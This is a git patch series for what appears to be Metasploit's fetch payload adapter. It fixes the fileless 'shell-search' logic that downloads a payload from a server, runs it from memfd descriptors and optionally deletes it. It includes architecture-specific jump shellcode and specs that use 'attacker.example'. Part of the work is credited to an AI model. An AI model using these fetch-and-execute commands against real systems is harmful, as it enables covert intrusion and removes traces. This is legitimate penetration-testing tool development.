10/13] Makes logic of fail-safe execution more clear; drops exit function; fixes specs --- lib/msf/core/payload/adapter/fetch.rb | 15 +++++++++++++-- lib/msf/core/payload/adapter/fetch/fileless.rb | 1 - .../core/payload/adapter/fetch/fileless_spec.rb | 1 - 3 files changed, 13 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index d756e074dc74f..a9474eef31939 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -345,8 +345,19 @@ def _execute_nix(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search' cmds = _generate_fileless_bash_search(get_file_cmd) - cmds << "f=#{_remote_destination_nix(failsafe: true)};" + cmds << "if [ $FOUND -eq 0 ]" + cmds << "; then f=#{_remote_destination_nix(failsafe: true)}; " cmds << get_file_cmd + cmds << "; chmod +x #{_remote_destination_nix}" + cmds << "; #{_remote_destination_nix}& " + + if datastore['FETCH_DELETE'] + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi" if datastore['FETCH_DELETE'] + else + cmds << "fi" + end + + return cmds else cmds = get_file_cmd end @@ -462,7 +473,7 @@ def _generate_tftp_command(uri) if datastore['FETCH_FILELESS'] != 'none' && linux? get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' - return "#{_generate_fileless_bash_search(get_file_cmd)} #{tftp_fetch_and_exec}" if datastore['FETCH_FILELESS'] == 'shell-search' + return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search' return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+' else fetch_command = tftp_fetch_and_exec diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 366c64709ebba..27c5b04d12720 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -328,7 +328,6 @@ def _generate_fileless_bash_search(get_file_cmd) cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" cmd << '; then $f ' cmd << '& FOUND=1' - cmd << '; exit 0' cmd << '; fi' cmd << '; fi' cmd << '; done' diff --git a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb index f4d72fd3164b7..2dc3a5951e3bc 100644 --- a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb @@ -75,7 +75,6 @@ # branch does), a successful match must terminate the entire script via # `exit`, or the fallback below would run again and re-download/re-exec # the payload a second time. - expect(cmd).to include('; exit 0') expect(cmd).not_to include('; break') end end From f670188145537e0bbaae18df0f740c8889304bae Mon Sep 17 00:00:00 2001 From: eipoverflow <8319262+eipoverflow@users.noreply.github.com> Date: Tue, 18 Aug 2026 12:13:12 +0200 Subject: [PATCH 11/13] Ooopsie, forgot to break --- lib/msf/core/payload/adapter/fetch/fileless.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 27c5b04d12720..86589b560d6d8 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -328,6 +328,8 @@ def _generate_fileless_bash_search(get_file_cmd) cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" cmd << '; then $f ' cmd << '& FOUND=1' + cmd << '; echo "DONE"' + cmd << '; break' cmd << '; fi' cmd << '; fi' cmd << '; done' From d7e9781b28c7837d2b25fc3ca47758ddd445e08c Mon Sep 17 00:00:00 2001 From: eipoverflow <8319262+eipoverflow@users.noreply.github.com> Date: Tue, 18 Aug 2026 15:11:27 +0200 Subject: [PATCH 12/13] Remove debug print --- lib/msf/core/payload/adapter/fetch/fileless.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 86589b560d6d8..2364729d07d09 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -328,7 +328,6 @@ def _generate_fileless_bash_search(get_file_cmd) cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" cmd << '; then $f ' cmd << '& FOUND=1' - cmd << '; echo "DONE"' cmd << '; break' cmd << '; fi' cmd << '; fi' From 1942bacecbbcb21ccde1373b356f22fb9fd0b71a Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 20 Aug 2026 19:00:33 -0500 Subject: [PATCH 13/13] Fix fail-safe fileless fetch review findings from PR #21548 - Restore `; exit 0` (not `; break`) in the shell-search match branch of _generate_fileless_bash_search, so a hit terminates the whole script instead of only the inner search loop. Matches the PR's own regression spec and the original author's intent, reverted by a later "forgot to break" commit. - Wrap get_file_cmd in a subshell before appending the noise-suppressing `>/dev/null` in both _generate_fileless_shell and _generate_fileless_bash_search, so a redirect get_file_cmd already embeds itself (e.g. the plain GET-based `...>$f`) keeps priority over the outer redirect instead of being silently clobbered. - Factor the duplicated hex byte-swap shell fragment (7 call sites across _generate_jmp_instruction) into a single _hex_byte_swap_shell(width) helper, and fix an odd-length hang: when $vdso_addr needs more digits than the padded width, the old ${v%??} trim loop never terminated on the final single leftover character. - Have the TFTP fail-safe fallback (tftp_fetch_and_exec) honor FETCH_DELETE like the generic _execute_nix path already does, with a trailing `;` since it's concatenated in front of a closing ` fi`. - Drop a redundant `if datastore['FETCH_DELETE']` modifier nested inside its own enclosing `if datastore['FETCH_DELETE']`. Verified via rspec (37 examples, 0 failures) and against real hardware across all affected architectures (x64, x86, aarch64, armle, mipsle, riscv64le), including forcing an actual shell-search match (not just the disk-fallback path) and a real TFTP + FETCH_DELETE round trip. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_01CzVszngwHjJmwTq5sviTHJ --- lib/msf/core/payload/adapter/fetch.rb | 5 +- .../core/payload/adapter/fetch/fileless.rb | 71 +++++++++++++------ .../payload/adapter/fetch/fileless_spec.rb | 52 +++++++++++++- .../msf/core/payload/adapter/fetch_spec.rb | 66 +++++++++++++++++ 4 files changed, 170 insertions(+), 24 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index a9474eef31939..ddb33c5fe5e89 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -352,7 +352,7 @@ def _execute_nix(get_file_cmd) cmds << "; #{_remote_destination_nix}& " if datastore['FETCH_DELETE'] - cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi" if datastore['FETCH_DELETE'] + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi" else cmds << "fi" end @@ -470,6 +470,9 @@ def _generate_tftp_command(uri) else _check_tftp_file tftp_fetch_and_exec = "(echo binary ; echo get #{uri} ) | tftp #{srvhost}; chmod +x ./#{uri}; ./#{uri} &" + # Trailing `;` matters: the shell-search fail-safe branch below + # concatenates this string directly in front of a closing ` fi`. + tftp_fetch_and_exec << "sleep #{rand(3..7)};rm -rf ./#{uri};" if datastore['FETCH_DELETE'] if datastore['FETCH_FILELESS'] != 'none' && linux? get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}" return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell' diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb index 2364729d07d09..93f810cfddfa1 100644 --- a/lib/msf/core/payload/adapter/fetch/fileless.rb +++ b/lib/msf/core/payload/adapter/fetch/fileless.rb @@ -187,49 +187,66 @@ def _generate_first_stage_shellcode(arch) return payload end + # Builds a POSIX shell `$(...)` fragment that reads $vdso_addr, formats it + # as a hex string zero-padded to at least `width` digits, and emits it + # with its byte order reversed (endianness swap for the target's + # little-endian jmp instruction encoding). + # + # A leading zero is inserted if the formatted hex string ends up an odd + # number of digits -- possible whenever $vdso_addr needs more digits than + # `width` pads to, e.g. a 32-bit address with the 4-digit armle/mipsle + # width below. Without it, the trailing `${v%??}` trim never matches on + # the final single character and the loop never terminates. + # + # @param width [Integer] Minimum hex digits to zero-pad $vdso_addr to. + # @return [String] The `$(...)` shell command substitution fragment. + def _hex_byte_swap_shell(width) + %^$(v=$(printf %0#{width}x $vdso_addr); if [ $((${#v} % 2)) -ne 0 ]; then v="0$v"; fi; o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ + end + def _generate_jmp_instruction(arch) # # The sed command will basically take two characters at the time and switch their order, this is due to endianess of x86 addresses - + case arch # x64 shellcode # mov rax, [target address] # jmp rax when 'x64' - %^"48b8"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")"ffe0"^ - + %^"48b8"#{_hex_byte_swap_shell(16)}"ffe0"^ + # x86 shellcode # mov eax, [target address] # jmp eax when 'x86' - %^"b8"$(v=$(printf %08x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")"ffe0"^ - + %^"b8"#{_hex_byte_swap_shell(8)}"ffe0"^ + # ARM64 shellcode # ldr x0, #8 # br x0 when 'aarch64' - %^"4000005800001fd6"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ - + %^"4000005800001fd6"#{_hex_byte_swap_shell(16)}^ + # ARMle shelcode # ldr.w r2, [pc, #4] - # bx r2 + # bx r2 when 'armle' - %^"dff804201047"$(v=$(printf %04x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ - + %^"dff804201047"#{_hex_byte_swap_shell(4)}^ + # ARMbe shelcode # ldr.w r2, [pc, #4] - # bx r2 + # bx r2 when 'armbe' %^"f8df20044710"$(echo $(printf %04x $vdso_addr))^ - + # MIPSEL shellcode # bgezal $zero, 4 # xor $t2, $t2,$t2 # lw $t2, 16($ra) # jr $t2 when 'mipsle' - %^"000011040000000026504a011000ea8f0800400100000000"$(v=$(printf %04x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ - + %^"000011040000000026504a011000ea8f0800400100000000"#{_hex_byte_swap_shell(4)}^ + # MIPSBE shellcode # bgezal $zero, 4 # xor $t2, $t2,$t2 @@ -237,7 +254,7 @@ def _generate_jmp_instruction(arch) # jr $t2 when 'mipsbe' %^"0411000000000000014a50268fea00100140000800000000"$(echo $(printf %04x $vdso_addr))^ - + # MIPS64 shellcode # bgezal $zero, 4 # xor $t2, $t2,$t2 @@ -245,14 +262,14 @@ def _generate_jmp_instruction(arch) # jr $t2 when 'mips64' %^"041100000000000001ce7026dfee001001c0000800000000"$(echo $(printf %016x $vdso_addr))^ - + # RISC-V 64-bit LE shellcode # auipc t0, 0 # ld t0, 12(t0) # jr t0 # .dword [target address] when 'riscv64le' - %^"9702000083b2c20067800200"$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ + %^"9702000083b2c20067800200"#{_hex_byte_swap_shell(16)}^ # RISC-V 32-bit LE shellcode # auipc t0, 0 @@ -260,7 +277,7 @@ def _generate_jmp_instruction(arch) # jr t0 # .word [target address] when 'riscv32le' - %^"9702000083a2c20067800200"$(v=$(printf %08x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")^ + %^"9702000083a2c20067800200"#{_hex_byte_swap_shell(8)}^ else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture') @@ -292,7 +309,11 @@ def _generate_fileless_shell(get_file_cmd, arch) cmd << 'then for f in $(find ./fd -type l -perm u=rwx 2>/dev/null);' cmd << 'do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ];' - cmd << "then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];" + # get_file_cmd is wrapped in a subshell so the trailing `>/dev/null` (added + # to swallow noise like a `tee`'s terminal echo) can't clobber a redirect + # get_file_cmd already embeds itself (e.g. the plain `GET`-based + # `... >$f`) -- the inner, more specific redirect still wins. + cmd << "then if (#{get_file_cmd}) >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];" cmd << 'then $f & FOUND=1;break;' cmd << 'fi;' cmd << 'fi;' @@ -325,10 +346,18 @@ def _generate_fileless_bash_search(get_file_cmd) # and execute it cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' - cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" + # get_file_cmd is wrapped in a subshell so the trailing `>/dev/null` (added + # to swallow noise like a `tee`'s terminal echo) can't clobber a redirect + # get_file_cmd already embeds itself (e.g. the plain `GET`-based + # `... >$f`) -- the inner, more specific redirect still wins. + cmd << "; then if (#{get_file_cmd}) >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ]" cmd << '; then $f ' cmd << '& FOUND=1' - cmd << '; break' + # `exit`, not `break` -- a bare break would only exit this inner loop, and + # when this search script is concatenated with a fallback (as + # _execute_nix's shell-search branch does), the fallback would then run + # again and re-download/re-exec the payload a second time. + cmd << '; exit 0' cmd << '; fi' cmd << '; fi' cmd << '; done' diff --git a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb index 2dc3a5951e3bc..27064e58b6213 100644 --- a/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch/fileless_spec.rb @@ -1,4 +1,5 @@ require 'spec_helper' +require 'tempfile' RSpec.describe Msf::Payload::Adapter::Fetch::Fileless do let(:harness_class) do @@ -46,7 +47,15 @@ subject(:cmd) { harness._generate_fileless_bash_search(get_file_cmd) } it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do - expect(cmd).to include("if #{get_file_cmd} >/dev/null") + expect(cmd).to include("if (#{get_file_cmd}) >/dev/null") + end + + it 'wraps get_file_cmd in a subshell so the trailing >/dev/null cannot clobber a redirect get_file_cmd embeds itself' do + # get_file_cmd can itself end in a raw `>$dest` redirect (e.g. the + # plain GET-based fetch command). Appending ` >/dev/null` directly + # after that, unparenthesized, would silently win and the payload + # would never be written to the candidate file. + expect(cmd).not_to include("#{get_file_cmd} >/dev/null") end it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do @@ -83,7 +92,11 @@ subject(:cmd) { harness._generate_fileless_shell(get_file_cmd, 'mipsle') } it 'embeds get_file_cmd directly, since the surrounding script text is unquoted' do - expect(cmd).to include("then if #{get_file_cmd} >/dev/null") + expect(cmd).to include("then if (#{get_file_cmd}) >/dev/null") + end + + it 'wraps get_file_cmd in a subshell so the trailing >/dev/null cannot clobber a redirect get_file_cmd embeds itself' do + expect(cmd).not_to include("#{get_file_cmd} >/dev/null") end it 'checks the real exit status of get_file_cmd rather than a swallowed command substitution' do @@ -99,4 +112,39 @@ expect(cmd).not_to include('head -c4 $f') end end + + describe '#_hex_byte_swap_shell' do + def swapped_hex(padded_hex) + padded_hex.scan(/../).reverse.join + end + + # Actually runs the generated shell fragment (with $vdso_addr set) through + # `sh`, bounded by `timeout` so a regression back to the pre-fix infinite + # loop fails the example instead of hanging the suite. + def run_fragment(width, vdso_addr) + fragment = harness._hex_byte_swap_shell(width) + Tempfile.create('hex_byte_swap_probe') do |f| + f.write("vdso_addr=#{vdso_addr}\necho #{fragment}\n") + f.flush + `timeout 2 sh #{f.path}`.strip + end + end + + it 'reverses byte order of an address that exactly fits the padded width' do + result = run_fragment(8, 0x12345678) + expect(result).to eq(swapped_hex('12345678')) + end + + it 'terminates and produces the correctly byte-swapped result when the address needs more digits than the padded width' do + # printf %04x on 0x10000 yields "10000" -- 5 (odd) hex digits, since + # printf only pads *up to* the given width, it doesn't clip larger + # values down to it. The old, unguarded ${v%??} trim loop assumed an + # always-even-length string and spun forever once it reached the last + # single leftover character; the `timeout` wrapper here turns that + # regression into a failing example instead of a hung spec run. + vdso_addr = 0x10000 + result = run_fragment(4, vdso_addr) + expect(result).to eq(swapped_hex('010000')) + end + end end diff --git a/spec/lib/msf/core/payload/adapter/fetch_spec.rb b/spec/lib/msf/core/payload/adapter/fetch_spec.rb index 4a4df3a986c11..cbec0dc6d0f98 100644 --- a/spec/lib/msf/core/payload/adapter/fetch_spec.rb +++ b/spec/lib/msf/core/payload/adapter/fetch_spec.rb @@ -106,4 +106,70 @@ def srvuri expect(harness.send(:_remote_destination_nix)).to eq('$f') end end + + describe '#_generate_tftp_command' do + let(:harness_class) do + Class.new do + include Msf::Payload::Adapter::Fetch + + def initialize + @datastore = { + 'FETCH_SRVPORT' => 69, + 'FETCH_WRITABLE_DIR' => '', + 'FETCH_FILENAME' => '', + 'FETCH_FILELESS' => 'none', + 'FETCH_DELETE' => false + } + end + attr_accessor :datastore + + def fetch_protocol + 'TFTP' + end + + def windows? + false + end + + def srvhost + 'attacker.example' + end + end + end + + subject(:harness) { harness_class.new } + + it 'does not append a cleanup step when FETCH_DELETE is not set' do + cmd = harness.send(:_generate_tftp_command, 'payload_uri') + expect(cmd).not_to include('rm -rf') + end + + it 'appends a delete cleanup step, like the generic (non-tftp) fetch path does, when FETCH_DELETE is set' do + harness.datastore['FETCH_DELETE'] = true + cmd = harness.send(:_generate_tftp_command, 'payload_uri') + expect(cmd).to include('rm -rf ./payload_uri') + end + + context 'when FETCH_FILELESS is shell-search' do + before do + harness.datastore['FETCH_FILELESS'] = 'shell-search' + harness.datastore['FETCH_DELETE'] = true + allow(harness).to receive(:linux?).and_return(true) + end + + it 'still runs the delete cleanup on the fail-safe fallback path' do + cmd = harness.send(:_generate_tftp_command, 'payload_uri') + expect(cmd).to include('rm -rf ./payload_uri') + end + + it 'closes the fail-safe if-block with a semicolon rather than corrupting the rm -rf argument list' do + # Concatenating the cleanup directly in front of the fail-safe + # branch's closing ` fi` without a separator would make `fi` a + # second argument to `rm -rf` instead of closing the if-block. + cmd = harness.send(:_generate_tftp_command, 'payload_uri') + expect(cmd).to include('rm -rf ./payload_uri; fi') + expect(cmd).not_to include('rm -rf ./payload_uri fi') + end + end + end end